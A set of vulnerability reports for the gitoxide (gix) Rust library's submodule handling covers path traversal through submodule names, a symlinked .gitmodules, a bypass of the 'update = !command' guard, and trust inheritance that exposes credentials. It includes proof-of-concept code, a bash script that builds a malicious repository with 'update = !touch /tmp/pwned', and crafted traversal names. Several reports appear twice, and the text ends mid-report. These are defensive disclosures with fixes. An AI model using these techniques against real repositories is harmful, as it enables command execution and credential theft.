gix

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

